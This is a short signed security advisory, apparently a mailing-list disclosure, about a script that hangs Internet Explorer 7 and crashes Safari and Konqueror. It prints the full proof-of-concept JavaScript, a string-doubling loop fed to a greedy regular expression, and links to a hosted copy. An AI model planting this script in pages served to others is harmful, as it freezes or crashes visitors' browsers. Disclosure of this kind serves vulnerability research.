-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Product: Internet Explorer Version 7.0.5730.11 Impact: Browser crash possibly more Author: Jesus Oquendo echo @infiltrated|sed 's/^/sil/g;s/$/.net/g' I. BACKGROUND Why bother? Who doesn't know what Internet Explorer and Microsoft are. II. DESCRIPTION IE 7 is vulnerable to a script which causes the browser to hang. The memory and CPU usage go through the roof. Originally the script caused (and still causes) Safari and Konqueror to crash. III SOLUTION Stop using Microsoft products or deal with a new advisory every other day. IV. Proof http://www.infiltrated.net/stupidInternetExploder.html V. Code $ more /stupidInternetExploder.html <script> var reg = /(.)*/; var z = 'Z';while (z.length <= 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z; var boum = reg.exec(z); </script> Goodbye J. Oquendo http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743sil . infiltrated @ net http://www.infiltrated.net
The happiness of society is the end of government. John Adams -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQFGJQGJh3J3NhODp0MRArt5AKCVI+A0rHdYMOz9KYIbCxFkMN8QcgCbBBBC TCV7FOqA05H8sSDb0r8nSnk= =J/DW -----END PGP SIGNATURE-----
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